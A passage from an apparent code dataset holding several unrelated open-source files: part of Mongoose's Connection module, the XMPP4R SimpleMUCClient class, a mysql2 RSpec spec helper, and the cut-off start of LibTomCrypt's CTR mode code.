*/\r\n\r\nObject.defineProperty(Connection.prototype, 'host', {\r\n configurable: true,\r\n enumerable: true,\r\n writable: true\r\n});\r\n\r\n/**\r\n * The port portion of the URI. If multiple hosts, such as a replica set,\r\n * this will contain the port from the first host name in the URI.\r\n *\r\n * ####Example\r\n *\r\n * mongoose.createConnection('mongodb://localhost:27017/mydb').port; // 27017\r\n *\r\n * @property port\r\n * @memberOf Connection\r\n * @instance\r\n * @api public\r\n */\r\n\r\nObject.defineProperty(Connection.prototype, 'port', {\r\n configurable: true,\r\n enumerable: true,\r\n writable: true\r\n});\r\n\r\n/**\r\n * The username specified in the URI\r\n *\r\n * ####Example\r\n *\r\n * mongoose.createConnection('mongodb://val:psw@localhost:27017/mydb').user; // \"val\"\r\n *\r\n * @property user\r\n * @memberOf Connection\r\n * @instance\r\n * @api public\r\n */\r\n\r\nObject.defineProperty(Connection.prototype, 'user', {\r\n configurable: true,\r\n enumerable: true,\r\n writable: true\r\n});\r\n\r\n/**\r\n * The password specified in the URI\r\n *\r\n * ####Example\r\n *\r\n * mongoose.createConnection('mongodb://val:psw@localhost:27017/mydb').pass; // \"psw\"\r\n *\r\n * @property pass\r\n * @memberOf Connection\r\n * @instance\r\n * @api public\r\n */\r\n\r\nObject.defineProperty(Connection.prototype, 'pass', {\r\n configurable: true,\r\n enumerable: true,\r\n writable: true\r\n});\r\n\r\n/**\r\n * The mongodb.Db instance, set when the connection is opened\r\n *\r\n * @property db\r\n * @memberOf Connection\r\n * @instance\r\n * @api public\r\n */\r\n\r\nConnection.prototype.db;\r\n\r\n/**\r\n * A hash of the global options that are associated with this connection\r\n *\r\n * @property config\r\n * @memberOf Connection\r\n * @instance\r\n * @api public\r\n */\r\n\r\nConnection.prototype.config;\r\n\r\n/**\r\n * Helper for `createCollection()`. Will explicitly create the given collection\r\n * with specified options. Used to create [capped collections](https://docs.mongodb.com/manual/core/capped-collections/)\r\n * and [views](https://docs.mongodb.com/manual/core/views/) from mongoose.\r\n *\r\n * Options are passed down without modification to the [MongoDB driver's `createCollection()` function](http://mongodb.github.io/node-mongodb-native/2.2/api/Db.html#createCollection)\r\n *\r\n * @method createCollection\r\n * @param {string} collection The collection to create\r\n * @param {Object} [options] see [MongoDB driver docs](http://mongodb.github.io/node-mongodb-native/2.2/api/Db.html#createCollection)\r\n * @param {Function} [callback]\r\n * @return {Promise}\r\n * @api public\r\n */\r\n\r\nConnection.prototype.createCollection = _wrapConnHelper(function createCollection(collection, options, cb) {\r\n if (typeof options === 'function') {\r\n cb = options;\r\n options = {};\r\n }\r\n this.db.createCollection(collection, options, cb);\r\n});\r\n\r\n/**\r\n * _Requires MongoDB >= 3.6.0._ Starts a [MongoDB session](https://docs.mongodb.com/manual/release-notes/3.6/#client-sessions)\r\n * for benefits like causal consistency, [retryable writes](https://docs.mongodb.com/manual/core/retryable-writes/),\r\n * and [transactions](http://thecodebarbarian.com/a-node-js-perspective-on-mongodb-4-transactions.html).\r\n *\r\n * ####Example:\r\n *\r\n * const session = await conn.startSession();\r\n * let doc = await Person.findOne({ name: 'Ned Stark' }, null, { session });\r\n * await doc.remove();\r\n * // `doc` will always be null, even if reading from a replica set\r\n * // secondary. Without causal consistency, it is possible to\r\n * // get a doc back from the below query if the query reads from a\r\n * // secondary that is experiencing replication lag.\r\n * doc = await Person.findOne({ name: 'Ned Stark' }, null, { session, readPreference: 'secondary' });\r\n *\r\n *\r\n * @method startSession\r\n * @param {Object} [options] see the [mongodb driver options](http://mongodb.github.io/node-mongodb-native/3.0/api/MongoClient.html#startSession)\r\n * @param {Boolean} [options.causalConsistency=true] set to false to disable causal consistency\r\n * @param {Function} [callback]\r\n * @return {Promise<ClientSession>} promise that resolves to a MongoDB driver `ClientSession`\r\n * @api public\r\n */\r\n\r\nConnection.prototype.startSession = _wrapConnHelper(function startSession(options, cb) {\r\n if (typeof options === 'function') {\r\n cb = options;\r\n options = null;\r\n }\r\n const session = this.client.startSession(options);\r\n cb(null, session);\r\n});\r\n\r\n/**\r\n * Helper for `dropCollection()`. Will delete the given collection, including\r\n * all documents and indexes.\r\n *\r\n * @method dropCollection\r\n * @param {string} collection The collection to delete\r\n * @param {Function} [callback]\r\n * @return {Promise}\r\n * @api public\r\n */\r\n\r\nConnection.prototype.dropCollection = _wrapConnHelper(function dropCollection(collection, cb) {\r\n this.db.dropCollection(collection, cb);\r\n});\r\n\r\n/**\r\n * Helper for `dropDatabase()`. Deletes the given database, including all\r\n * collections, documents, and indexes.\r\n *\r\n * @method dropDatabase\r\n * @param {Function} [callback]\r\n * @return {Promise}\r\n * @api public\r\n */\r\n\r\nConnection.prototype.dropDatabase = _wrapConnHelper(function dropDatabase(cb) {\r\n this.db.dropDatabase(cb);\r\n});\r\n\r\n/*!\r\n * ignore\r\n */\r\n\r\nfunction _wrapConnHelper(fn) {\r\n return function() {\r\n var cb = arguments.length > 0 ? arguments[arguments.length - 1] : null;\r\n var argsWithoutCb = typeof cb === 'function' ?\r\n Array.prototype.slice.call(arguments, 0, arguments.length - 1) :\r\n Array.prototype.slice.call(arguments);\r\n return utils.promiseOrCallback(cb, cb => {\r\n if (this.readyState !== STATES.connected) {\r\n this.once('open', function() {\r\n fn.apply(this, argsWithoutCb.concat([cb]));\r\n });\r\n } else {\r\n fn.apply(this, argsWithoutCb.concat([cb]));\r\n }\r\n });\r\n };\r\n}\r\n\r\n/**\r\n * error\r\n *\r\n * Graceful error handling, passes error to callback\r\n * if available, else emits error on the connection.\r\n *\r\n * @param {Error} err\r\n * @param {Function} callback optional\r\n * @api private\r\n */\r\n\r\nConnection.prototype.error = function(err, callback) {\r\n if (callback) {\r\n callback(err);\r\n return null;\r\n }\r\n if (this.listeners('error').length > 0) {\r\n this.emit('error', err);\r\n }\r\n return Promise.reject(err);\r\n};\r\n\r\n/**\r\n * Called when the connection is opened\r\n *\r\n * @api private\r\n */\r\n\r\nConnection.prototype.onOpen = function() {\r\n this.readyState = STATES.connected;\r\n\r\n // avoid having the collection subscribe to our event emitter\r\n // to prevent 0.3 warning\r\n for (var i in this.collections) {\r\n if (utils.object.hasOwnProperty(this.collections, i)) {\r\n this.collections[i].onOpen();\r\n }\r\n }\r\n\r\n this.emit('open');\r\n};\r\n\r\n/**\r\n * Opens the connection with a URI using `MongoClient.connect()`.\r\n *\r\n * @param {String} uri The URI to connect with.\r\n * @param {Object} [options] Passed on to http://mongodb.github.io/node-mongodb-native/2.2/api/MongoClient.html#connect\r\n * @param {Function} [callback]\r\n * @returns {Connection} this\r\n * @api private\r\n */\r\n\r\nConnection.prototype.openUri = function(uri, options, callback) {\r\n this.readyState = STATES.connecting;\r\n this._closeCalled = false;\r\n\r\n if (typeof options === 'function') {\r\n callback = options;\r\n options = null;\r\n }\r\n\r\n if (['string', 'number'].indexOf(typeof options) !== -1) {\r\n throw new MongooseError('Mongoose 5.x no longer supports ' +\r\n '`mongoose.connect(host, dbname, port)` or ' +\r\n '`mongoose.createConnection(host, dbname, port)`. See ' +\r\n 'http://mongoosejs.com/docs/connections.html for supported connection syntax');\r\n }\r\n\r\n const Promise = PromiseProvider.get();\r\n const _this = this;\r\n\r\n if (options) {\r\n options = utils.clone(options);\r\n const autoIndex = options.config && options.config.autoIndex != null ?\r\n options.config.autoIndex :\r\n options.autoIndex;\r\n if (autoIndex != null) {\r\n this.config.autoIndex = autoIndex !== false;\r\n delete options.config;\r\n delete options.autoIndex;\r\n }\r\n\r\n // Backwards compat\r\n if (options.user || options.pass) {\r\n options.auth = options.auth || {};\r\n options.auth.user = options.user;\r\n options.auth.password = options.pass;\r\n\r\n this.user = options.user;\r\n this.pass = options.pass;\r\n }\r\n delete options.user;\r\n delete options.pass;\r\n\r\n if (options.bufferCommands != null) {\r\n options.bufferMaxEntries = 0;\r\n this.config.bufferCommands = options.bufferCommands;\r\n delete options.bufferCommands;\r\n }\r\n\r\n if (options.useMongoClient != null) {\r\n handleUseMongoClient(options);\r\n }\r\n } else {\r\n options = {};\r\n }\r\n\r\n this._connectionOptions = options;\r\n let dbName = options.dbName;\r\n if (dbName != null) {\r\n this.$dbName = dbName;\r\n }\r\n delete options.dbName;\r\n\r\n if (!('promiseLibrary' in options)) {\r\n options.promiseLibrary = PromiseProvider.get();\r\n }\r\n if (!('useNewUrlParser' in options)) {\r\n options.useNewUrlParser = false;\r\n }\r\n\r\n const parsePromise = new Promise((resolve, reject) => {\r\n parseConnectionString(uri, options, (err, parsed) => {\r\n if (err) {\r\n return reject(err);\r\n }\r\n this.name = dbName != null ? dbName : get(parsed, 'auth.db', null);\r\n this.host = get(parsed, 'hosts.0.host') || 'localhost';\r\n this.port = get(parsed, 'hosts.0.port') || 27017;\r\n this.user = this.user || get(parsed, 'auth.username');\r\n this.pass = this.pass || get(parsed, 'auth.password');\r\n resolve();\r\n });\r\n });\r\n\r\n const promise = new Promise((resolve, reject) => {\r\n let client = new mongodb.MongoClient(uri, options);\r\n _this.client = client;\r\n client.connect(function(error) {\r\n if (error) {\r\n _this.readyState = STATES.disconnected;\r\n return reject(error);\r\n }\r\n\r\n const db = dbName != null ? client.db(dbName) : client.db();\r\n _this.db = db;\r\n\r\n // Backwards compat for mongoose 4.x\r\n db.on('reconnect', function() {\r\n _this.readyState = STATES.connected;\r\n _this.emit('reconnect');\r\n _this.emit('reconnected');\r\n });\r\n db.s.topology.on('reconnectFailed', function() {\r\n _this.emit('reconnectFailed');\r\n });\r\n db.s.topology.on('left', function(data) {\r\n _this.emit('left', data);\r\n });\r\n db.s.topology.on('joined', function(data) {\r\n _this.emit('joined', data);\r\n });\r\n db.s.topology.on('fullsetup', function(data) {\r\n _this.emit('fullsetup', data);\r\n });\r\n db.on('close', function() {\r\n // Implicitly emits 'disconnected'\r\n _this.readyState = STATES.disconnected;\r\n });\r\n db.on('timeout', function() {\r\n _this.emit('timeout');\r\n });\r\n\r\n delete _this.then;\r\n delete _this.catch;\r\n _this.readyState = STATES.connected;\r\n\r\n for (let i in _this.collections) {\r\n if (utils.object.hasOwnProperty(_this.collections, i)) {\r\n _this.collections[i].onOpen();\r\n }\r\n }\r\n\r\n resolve(_this);\r\n _this.emit('open');\r\n });\r\n });\r\n\r\n this.$initialConnection = Promise.all([promise, parsePromise]).\r\n then(res => res[0]).\r\n catch(err => {\r\n if (this.listeners('error').length > 0) {\r\n process.nextTick(() => this.emit('error', err));\r\n return;\r\n }\r\n throw err;\r\n });\r\n this.then = function(resolve, reject) {\r\n return this.$initialConnection.then(resolve, reject);\r\n };\r\n this.catch = function(reject) {\r\n return this.$initialConnection.catch(reject);\r\n };\r\n\r\n if (callback != null) {\r\n this.$initialConnection.then(\r\n () => callback(null, this),\r\n err => callback(err)\r\n );\r\n }\r\n\r\n return this;\r\n};\r\n\r\n/*!\r\n * ignore\r\n */\r\n\r\nconst handleUseMongoClient = function handleUseMongoClient(options) {\r\n console.warn('WARNING: The `useMongoClient` option is no longer ' +\r\n 'necessary in mongoose 5.x, please remove it.');\r\n const stack = new Error().stack;\r\n console.warn(stack.substr(stack.indexOf('\\n') + 1));\r\n delete options.useMongoClient;\r\n};\r\n\r\n/**\r\n * Closes the connection\r\n *\r\n * @param {Boolean} [force] optional\r\n * @param {Function} [callback] optional\r\n * @return {Connection} self\r\n * @api public\r\n */\r\n\r\nConnection.prototype.close = function(force, callback) {\r\n if (typeof force === 'function') {\r\n callback = force;\r\n force = false;\r\n }\r\n\r\n this.$wasForceClosed = !!force;\r\n\r\n return utils.promiseOrCallback(callback, cb => {\r\n this._close(force, cb);\r\n });\r\n};\r\n\r\n/**\r\n * Handles closing the connection\r\n *\r\n * @param {Boolean} force\r\n * @param {Function} callback\r\n * @api private\r\n */\r\nConnection.prototype._close = function(force, callback) {\r\n var _this = this;\r\n this._closeCalled = true;\r\n\r\n switch (this.readyState) {\r\n case 0: // disconnected\r\n callback();\r\n break;\r\n\r\n case 1: // connected\r\n this.readyState = STATES.disconnecting;\r\n this.doClose(force, function(err) {\r\n if (err) {\r\n return callback(err);\r\n }\r\n _this.onClose(force);\r\n callback(null);\r\n });\r\n\r\n break;\r\n case 2: // connecting\r\n this.once('open', function() {\r\n _this.close(callback);\r\n });\r\n break;\r\n\r\n case 3: // disconnecting\r\n this.once('close', function() {\r\n callback();\r\n });\r\n break;\r\n }\r\n\r\n return this;\r\n};\r\n\r\n/**\r\n * Called when the connection closes\r\n *\r\n * @api private\r\n */\r\n\r\nConnection.prototype.onClose = function(force) {\r\n this.readyState = STATES.disconnected;\r\n\r\n // avoid having the collection subscribe to our event emitter\r\n // to prevent 0.3 warning\r\n for (var i in this.collections) {\r\n if (utils.object.hasOwnProperty(this.collections, i)) {\r\n this.collections[i].onClose(force);\r\n }\r\n }\r\n\r\n this.emit('close', force);\r\n};\r\n\r\n/**\r\n * Retrieves a collection, creating it if not cached.\r\n *\r\n * Not typically needed by applications. Just talk to your collection through your model.\r\n *\r\n * @param {String} name of the collection\r\n * @param {Object} [options] optional collection options\r\n * @return {Collection} collection instance\r\n * @api public\r\n */\r\n\r\nConnection.prototype.collection = function(name, options) {\r\n options = options ? utils.clone(options) : {};\r\n options.$wasForceClosed = this.$wasForceClosed;\r\n if (!(name in this.collections)) {\r\n this.collections[name] = new Collection(name, this, options);\r\n }\r\n return this.collections[name];\r\n};\r\n\r\n/**\r\n * Defines or retrieves a model.\r\n *\r\n * var mongoose = require('mongoose');\r\n * var db = mongoose.createConnection(..);\r\n * db.model('Venue', new Schema(..));\r\n * var Ticket = db.model('Ticket', new Schema(..));\r\n * var Venue = db.model('Venue');\r\n *\r\n * _When no `collection` argument is passed, Mongoose produces a collection name by passing the model `name` to the [utils.toCollectionName](#utils_exports.toCollectionName) method. This method pluralizes the name. If you don't like this behavior, either pass a collection name or set your schemas collection name option._\r\n *\r\n * ####Example:\r\n *\r\n * var schema = new Schema({ name: String }, { collection: 'actor' });\r\n *\r\n * // or\r\n *\r\n * schema.set('collection', 'actor');\r\n *\r\n * // or\r\n *\r\n * var collectionName = 'actor'\r\n * var M = conn.model('Actor', schema, collectionName)\r\n *\r\n * @param {String|Function} name the model name or class extending Model\r\n * @param {Schema} [schema] a schema. necessary when defining a model\r\n * @param {String} [collection] name of mongodb collection (optional) if not given it will be induced from model name\r\n * @see Mongoose#model #index_Mongoose-model\r\n * @return {Model} The compiled model\r\n * @api public\r\n */\r\n\r\nConnection.prototype.model = function(name, schema, collection) {\r\n if (!(this instanceof Connection)) {\r\n throw new MongooseError('`connection.model()` should not be run with ' +\r\n '`new`. If you are doing `new db.model(foo)(bar)`, use ' +\r\n '`db.model(foo)(bar)` instead');\r\n }\r\n\r\n let fn;\r\n if (typeof name === 'function') {\r\n fn = name;\r\n name = fn.name;\r\n }\r\n\r\n // collection name discovery\r\n if (typeof schema === 'string') {\r\n collection = schema;\r\n schema = false;\r\n }\r\n\r\n if (utils.isObject(schema) && !schema.instanceOfSchema) {\r\n schema = new Schema(schema);\r\n }\r\n if (schema && !schema.instanceOfSchema) {\r\n throw new Error('The 2nd parameter to `mongoose.model()` should be a ' +\r\n 'schema or a POJO');\r\n }\r\n\r\n if (this.models[name] && !collection) {\r\n // model exists but we are not subclassing with custom collection\r\n if (schema && schema.instanceOfSchema && schema !== this.models[name].schema) {\r\n throw new MongooseError.OverwriteModelError(name);\r\n }\r\n return this.models[name];\r\n }\r\n\r\n var opts = {cache: false, connection: this};\r\n var model;\r\n\r\n if (schema && schema.instanceOfSchema) {\r\n // compile a model\r\n model = this.base.model(fn || name, schema, collection, opts);\r\n\r\n // only the first model with this name is cached to allow\r\n // for one-offs with custom collection names etc.\r\n if (!this.models[name]) {\r\n this.models[name] = model;\r\n }\r\n\r\n // Errors handled internally, so safe to ignore error\r\n model.init(function $modelInitNoop() {});\r\n\r\n return model;\r\n }\r\n\r\n if (this.models[name] && collection) {\r\n // subclassing current model with alternate collection\r\n model = this.models[name];\r\n schema = model.prototype.schema;\r\n var sub = model.__subclass(this, schema, collection);\r\n // do not cache the sub model\r\n return sub;\r\n }\r\n\r\n // lookup model in mongoose module\r\n model = this.base.models[name];\r\n\r\n if (!model) {\r\n throw new MongooseError.MissingSchemaError(name);\r\n }\r\n\r\n if (this === model.prototype.db\r\n && (!collection || collection === model.collection.name)) {\r\n // model already uses this connection.\r\n\r\n // only the first model with this name is cached to allow\r\n // for one-offs with custom collection names etc.\r\n if (!this.models[name]) {\r\n this.models[name] = model;\r\n }\r\n\r\n return model;\r\n }\r\n this.models[name] = model.__subclass(this, schema, collection);\r\n return this.models[name];\r\n};\r\n\r\n/**\r\n * Returns an array of model names created on this connection.\r\n * @api public\r\n * @return {Array}\r\n */\r\n\r\nConnection.prototype.modelNames = function() {\r\n return Object.keys(this.models);\r\n};\r\n\r\n/**\r\n * @brief Returns if the connection requires authentication after it is opened. Generally if a\r\n * username and password are both provided than authentication is needed, but in some cases a\r\n * password is not required.\r\n * @api private\r\n * @return {Boolean} true if the connection should be authenticated after it is opened, otherwise false.\r\n */\r\nConnection.prototype.shouldAuthenticate = function() {\r\n return this.user != null &&\r\n (this.pass != null || this.authMechanismDoesNotRequirePassword());\r\n};\r\n\r\n/**\r\n * @brief Returns a boolean value that specifies if the current authentication mechanism needs a\r\n * password to authenticate according to the auth objects passed into the open/openSet methods.\r\n * @api private\r\n * @return {Boolean} true if the authentication mechanism specified in the options object requires\r\n * a password, otherwise false.\r\n */\r\nConnection.prototype.authMechanismDoesNotRequirePassword = function() {\r\n if (this.options && this.options.auth) {\r\n return noPasswordAuthMechanisms.indexOf(this.options.auth.authMechanism) >= 0;\r\n }\r\n return true;\r\n};\r\n\r\n/**\r\n * @brief Returns a boolean value that specifies if the provided objects object provides enough\r\n * data to authenticate with. Generally this is true if the username and password are both specified\r\n * but in some authentication methods, a password is not required for authentication so only a username\r\n * is required.\r\n * @param {Object} [options] the options object passed into the open/openSet methods.\r\n * @api private\r\n * @return {Boolean} true if the provided options object provides enough data to authenticate with,\r\n * otherwise false.\r\n */\r\nConnection.prototype.optionsProvideAuthenticationData = function(options) {\r\n return (options) &&\r\n (options.user) &&\r\n ((options.pass) || this.authMechanismDoesNotRequirePassword());\r\n};\r\n\r\n/**\r\n * Switches to a different database using the same connection pool.\r\n *\r\n * Returns a new connection object, with the new db.\r\n *\r\n * @method useDb\r\n * @memberOf Connection\r\n * @param {String} name The database name\r\n * @return {Connection} New Connection Object\r\n * @api public\r\n */\r\n\r\n/*!\r\n * Module exports.\r\n */\r\n\r\nConnection.STATES = STATES;\r\nmodule.exports = Connection;\r\n"} {"text": "# =XMPP4R - XMPP Library for Ruby\n# License:: Ruby's license (see the LICENSE file) or GNU GPL, at your option.\n# Website::http://xmpp4r.github.io\n\nrequire 'xmpp4r/delay/x/delay'\nrequire 'xmpp4r/muc/helper/mucclient'\nrequire 'xmpp4r/muc/iq/mucadminitem'\n\nmodule Jabber\n module MUC\n ##\n # This class attempts to implement a lot of complexity of the\n # Multi-User Chat protocol. If you want to implement JEP0045\n # yourself, use Jabber::MUC::MUCClient for some minor\n # abstraction.\n #\n # Minor flexibility penalty: the on_* callbacks are no\n # CallbackLists and may therefore only used once. A second\n # invocation will overwrite the previous set up block.\n #\n # *Hint:* the parameter time may be nil if the server didn't\n # send it.\n #\n # Example usage:\n # my_muc = Jabber::MUC::SimpleMUCClient.new(my_client)\n # my_muc.on_message { |time,nick,text|\n # puts (time || Time.new).strftime('%I:%M') + \" <#{nick}> #{text}\"\n # }\n # my_muc.join(Jabber::JID.new('jdev@conference.jabber.org/XMPP4R-Bot'))\n #\n # Please take a look at Jabber::MUC::MUCClient for\n # derived methods, such as MUCClient#join, MUCClient#exit,\n # ...\n class SimpleMUCClient < MUCClient\n ##\n # Initialize a SimpleMUCClient\n # stream:: [Stream] to operate on\n # jid:: [JID] room@component/nick\n # password:: [String] Optional password\n def initialize(stream)\n super\n\n @room_message_block = nil\n @message_block = nil\n @private_message_block = nil\n @subject_block = nil\n\n @subject = nil\n\n @join_block = nil\n add_join_callback(999) { |pres|\n # Presence time\n time = nil\n pres.each_element('x') { |x|\n if x.kind_of?(Delay::XDelay)\n time = x.stamp\n end\n }\n\n # Invoke...\n @join_block.call(time, pres.from.resource) if @join_block\n false\n }\n\n @leave_block = nil\n @self_leave_block = nil\n add_leave_callback(999) { |pres|\n # Presence time\n time = nil\n pres.each_element('x') { |x|\n if x.kind_of?(Delay::XDelay)\n time = x.stamp\n end\n }\n\n # Invoke...\n if pres.from == jid\n @self_leave_block.call(time) if @self_leave_block\n else\n @leave_block.call(time, pres.from.resource) if @leave_block\n end\n false\n }\n end\n\n private\n\n def handle_message(msg)\n super\n\n # Message time (e.g. history)\n time = nil\n msg.each_element('x') { |x|\n if x.kind_of?(Delay::XDelay)\n time = x.stamp\n end\n }\n sender_nick = msg.from.resource\n\n\n if msg.subject\n @subject = msg.subject\n @subject_block.call(time, sender_nick, @subject) if @subject_block\n end\n\n if msg.body\n if sender_nick.nil?\n @room_message_block.call(time, msg.body) if @room_message_block\n else\n if msg.type == :chat\n @private_message_block.call(time, msg.from.resource, msg.body) if @private_message_block\n elsif msg.type == :groupchat\n @message_block.call(time, msg.from.resource, msg.body) if @message_block\n else\n # ...?\n end\n end\n end\n end\n\n public\n\n ##\n # Room subject/topic\n # result:: [String] The subject\n def subject\n @subject\n end\n\n ##\n # Change the room's subject/topic\n #\n # This will not be reflected by SimpleMUCClient#subject\n # immediately, wait for SimpleMUCClient#on_subject\n # s:: [String] New subject\n def subject=(s)\n msg = Message.new\n msg.subject = s\n send(msg)\n end\n\n ##\n # Send a simple text message\n # text:: [String] Message body\n # to:: [String] Optional nick if directed to specific user\n def say(text, to=nil)\n send(Message.new(nil, text), to)\n end\n\n ##\n # Request the MUC to invite users to this room\n #\n # Sample usage:\n # my_muc.invite( {'wiccarocks@shakespeare.lit/laptop' => 'This coven needs both wiccarocks and hag66.',\n # 'hag66@shakespeare.lit' => 'This coven needs both hag66 and wiccarocks.'} )\n # recipients:: [Hash] of [JID] => [String] Reason\n def invite(recipients)\n msg = Message.new\n x = msg.add(XMUCUser.new)\n recipients.each { |jid,reason|\n x.add(XMUCUserInvite.new(jid, reason))\n }\n send(msg, nil, true)\n end\n\n ##\n # Administratively remove one or more users from the room.\n #\n # Will wait for response, possibly raising ServerError\n #\n # Sample usage:\n # my_muc.kick 'pistol', 'Avaunt, you cullion!'\n # my_muc.kick(['Bill', 'Linus'], 'Stop flaming')\n #\n # recipients:: [Array] of, or single [String]: Nicks\n # reason:: [String] Kick reason\n def kick(recipients, reason)\n recipients = [recipients] unless recipients.kind_of? Array\n items = recipients.collect { |recipient|\n item = IqQueryMUCAdminItem.new\n item.nick = recipient\n item.role = :none\n item.reason = reason\n item\n }\n send_affiliations(items)\n end\n\n ##\n # Administratively ban one or more user jids from the room.\n #\n # Will wait for response, possibly raising ServerError\n #\n # Sample usage:\n # my_muc.ban 'pistol@foobar.com', 'Avaunt, you cullion!'\n #\n # recipients:: [Array] of, or single [String]: JIDs\n # reason:: [String] Ban reason\n def ban(recipients, reason)\n recipients = [recipients] unless recipients.kind_of? Array\n items = recipients.collect { |recipient|\n item = IqQueryMUCAdminItem.new\n item.jid = recipient\n item.affiliation = :outcast\n item.reason = reason\n item\n }\n send_affiliations(items)\n end\n\n ##\n # Unban one or more user jids for the room.\n #\n # Will wait for response, possibly raising ServerError\n #\n # Sample usage:\n # my_muc.unban 'pistol@foobar.com'\n #\n # recipients:: [Array] of, or single [String]: JIDs\n def unban(recipients)\n recipients = [recipients] unless recipients.kind_of? Array\n items = recipients.collect { |recipient|\n item = IqQueryMUCAdminItem.new\n item.jid = recipient\n item.affiliation = :none\n item\n }\n send_affiliations(items)\n end\n\n ##\n # Promote one or more users in the room to moderator.\n #\n # Will wait for response, possibly raising ServerError\n #\n # Sample usage:\n # my_muc.promote 'pistol'\n #\n # recipients:: [Array] of, or single [String]: Nicks\n def promote(recipients)\n recipients = [recipients] unless recipients.kind_of? Array\n items = recipients.collect { |recipient|\n item = IqQueryMUCAdminItem.new\n item.nick = recipient\n item.role = :moderator\n item\n }\n send_affiliations(items)\n end\n\n ##\n # Demote one or more users in the room to participant.\n #\n # Will wait for response, possibly raising ServerError\n #\n # Sample usage:\n # my_muc.demote 'pistol'\n #\n # recipients:: [Array] of, or single [String]: Nicks\n def demote(recipients)\n recipients = [recipients] unless recipients.kind_of? Array\n items = recipients.collect { |recipient|\n item = IqQueryMUCAdminItem.new\n item.nick = recipient\n item.role = :participant\n item\n }\n send_affiliations(items)\n end\n\n ##\n # Block to be invoked when a message *from* the room arrives\n #\n # Example:\n # Astro has joined this session\n # block:: Takes two arguments: time, text\n def on_room_message(&block)\n @room_message_block = block\n end\n\n ##\n # Block to be invoked when a message from a participant to\n # the whole room arrives\n # block:: Takes three arguments: time, sender nickname, text\n def on_message(&block)\n @message_block = block\n end\n\n ##\n # Block to be invoked when a private message from a participant\n # to you arrives.\n # block:: Takes three arguments: time, sender nickname, text\n def on_private_message(&block)\n @private_message_block = block\n end\n\n ##\n # Block to be invoked when somebody sets a new room subject\n # block:: Takes three arguments: time, nickname, new subject\n def on_subject(&block)\n @subject_block = block\n end\n\n ##\n # Block to be called when somebody enters the room\n #\n # If there is a non-nil time passed to the block, chances\n # are great that this is initial presence from a participant\n # after you have joined the room.\n # block:: Takes two arguments: time, nickname\n def on_join(&block)\n @join_block = block\n end\n\n ##\n # Block to be called when somebody leaves the room\n # block:: Takes two arguments: time, nickname\n def on_leave(&block)\n @leave_block = block\n end\n\n ##\n # Block to be called when *you* leave the room\n #\n # Deactivation occurs *afterwards*.\n # block:: Takes one argument: time\n def on_self_leave(&block)\n @self_leave_block = block\n end\n end\n end\nend\n"} {"text": "require 'rspec'\nrequire 'mysql2'\nrequire 'timeout'\nrequire 'yaml'\nDatabaseCredentials = YAML.load_file('spec/configuration.yml')\n\nRSpec.configure do |config|\n config.disable_monkey_patching!\n\n def with_internal_encoding(encoding)\n old_enc = Encoding.default_internal\n old_verbose = $VERBOSE\n $VERBOSE = nil\n Encoding.default_internal = encoding\n $VERBOSE = old_verbose\n\n yield\n ensure\n $VERBOSE = nil\n Encoding.default_internal = old_enc\n $VERBOSE = old_verbose\n end\n\n def new_client(option_overrides = {})\n client = Mysql2::Client.new(DatabaseCredentials['root'].merge(option_overrides))\n @clients ||= []\n @clients << client\n return client unless block_given?\n begin\n yield client\n ensure\n client.close\n @clients.delete(client)\n end\n end\n\n def num_classes\n # rubocop:disable Lint/UnifiedInteger\n 0.class == Integer ? [Integer] : [Fixnum, Bignum]\n # rubocop:enable Lint/UnifiedInteger\n end\n\n # Use monotonic time if possible (ruby >= 2.1.0)\n if defined?(Process::CLOCK_MONOTONIC)\n def clock_time\n Process.clock_gettime Process::CLOCK_MONOTONIC\n end\n else\n def clock_time\n Time.now.to_f\n end\n end\n\n config.before :each do\n @client = new_client\n end\n\n config.after :each do\n @clients.each(&:close)\n end\n\n config.before(:all) do\n new_client do |client|\n client.query %[\n CREATE TABLE IF NOT EXISTS mysql2_test (\n id MEDIUMINT NOT NULL AUTO_INCREMENT,\n null_test VARCHAR(10),\n bit_test BIT(64),\n single_bit_test BIT(1),\n tiny_int_test TINYINT,\n bool_cast_test TINYINT(1),\n small_int_test SMALLINT,\n medium_int_test MEDIUMINT,\n int_test INT,\n big_int_test BIGINT,\n float_test FLOAT(10,3),\n float_zero_test FLOAT(10,3),\n double_test DOUBLE(10,3),\n decimal_test DECIMAL(10,3),\n decimal_zero_test DECIMAL(10,3),\n date_test DATE,\n date_time_test DATETIME,\n timestamp_test TIMESTAMP,\n time_test TIME,\n year_test YEAR(4),\n char_test CHAR(10),\n varchar_test VARCHAR(10),\n binary_test BINARY(10),\n varbinary_test VARBINARY(10),\n tiny_blob_test TINYBLOB,\n tiny_text_test TINYTEXT,\n blob_test BLOB,\n text_test TEXT,\n medium_blob_test MEDIUMBLOB,\n medium_text_test MEDIUMTEXT,\n long_blob_test LONGBLOB,\n long_text_test LONGTEXT,\n enum_test ENUM('val1', 'val2'),\n set_test SET('val1', 'val2'),\n PRIMARY KEY (id)\n )\n ]\n client.query \"DELETE FROM mysql2_test;\"\n client.query %[\n INSERT INTO mysql2_test (\n null_test, bit_test, single_bit_test, tiny_int_test, bool_cast_test, small_int_test, medium_int_test, int_test, big_int_test,\n float_test, float_zero_test, double_test, decimal_test, decimal_zero_test, date_test, date_time_test, timestamp_test, time_test,\n year_test, char_test, varchar_test, binary_test, varbinary_test, tiny_blob_test,\n tiny_text_test, blob_test, text_test, medium_blob_test, medium_text_test,\n long_blob_test, long_text_test, enum_test, set_test\n )\n\n VALUES (\n NULL, b'101', b'1', 1, 1, 10, 10, 10, 10,\n 10.3, 0, 10.3, 10.3, 0, '2010-4-4', '2010-4-4 11:44:00', '2010-4-4 11:44:00', '11:44:00',\n 2009, \"test\", \"test\", \"test\", \"test\", \"test\",\n \"test\", \"test\", \"test\", \"test\", \"test\",\n \"test\", \"test\", 'val1', 'val1,val2'\n )\n ]\n end\n end\nend\n"} {"text": "/* LibTomCrypt, modular cryptographic library -- Tom St Denis */\n/* SPDX-License-Identifier: Unlicense */\n#include \"tomcrypt_private.h\"\n\n/**\n @file ctr_start.c\n CTR implementation, start chain, Tom St Denis\n*/\n\n\n#ifdef LTC_CTR_MODE\n\n/**\n Initialize a CTR context\n @param cipher The index of the cipher desired\n @param IV The initialization vector\n @param key The secret key\n @param keylen The length of the secret key (octets)\n @param num_rounds Number of rounds in the cipher desired (0 for default)\n @param ctr_mode The counter mode (CTR_COUNTER_LITTLE_ENDIAN or CTR_COUNTER_BIG_ENDIAN)\n @param ctr The CTR state to initialize\n @return CRYPT_OK if successful\n*/\nint ctr_start( int cipher,\n const unsigned char *IV,\n const unsigned char *key, int 